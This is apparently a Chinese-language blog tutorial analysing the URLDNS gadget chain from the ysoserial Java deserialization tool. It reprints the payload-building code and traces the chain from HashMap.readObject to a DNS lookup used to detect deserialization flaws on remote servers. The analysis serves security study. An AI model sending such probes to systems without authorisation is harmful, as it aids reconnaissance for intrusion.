[Java反序列化]URLDNS利用链分析
URLDNS
URLDNS 就是ysoserial
中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
利用
IDEA运行参数设置为我们DNSlog解析网址
成功
Gadget Chain
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
这是ysoserial中的URLDNS代码
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
来分析一下代码
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
利用链分析
看到 URLDNS 类的 getObject
⽅法,ysoserial会调用这个方法获得Payload。这个方法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap
。
单步调试,最终在反序列化的地方会调用HashMap里的readObject方法。
首先在HashMap这里下断点
进入HashMap的ReadObject函数
然后进入hash函数
key不为空所以进入hashCode方法
因为之前设置了hashCode为-1,所以进入了URLStreamHandler的hashCode方法。
且这里有getHostAddress
方法,继续跟进
hostAddress = InetAddress.getByName(host);
这里的作用是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。到这⾥就不必要再跟了。
至此,整个URLDNS
的Gadget就跟完了。
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLStreamHandler->hashCode()
5.URLStreamHandler->getHostAddress()
6.InetAddress->getByName()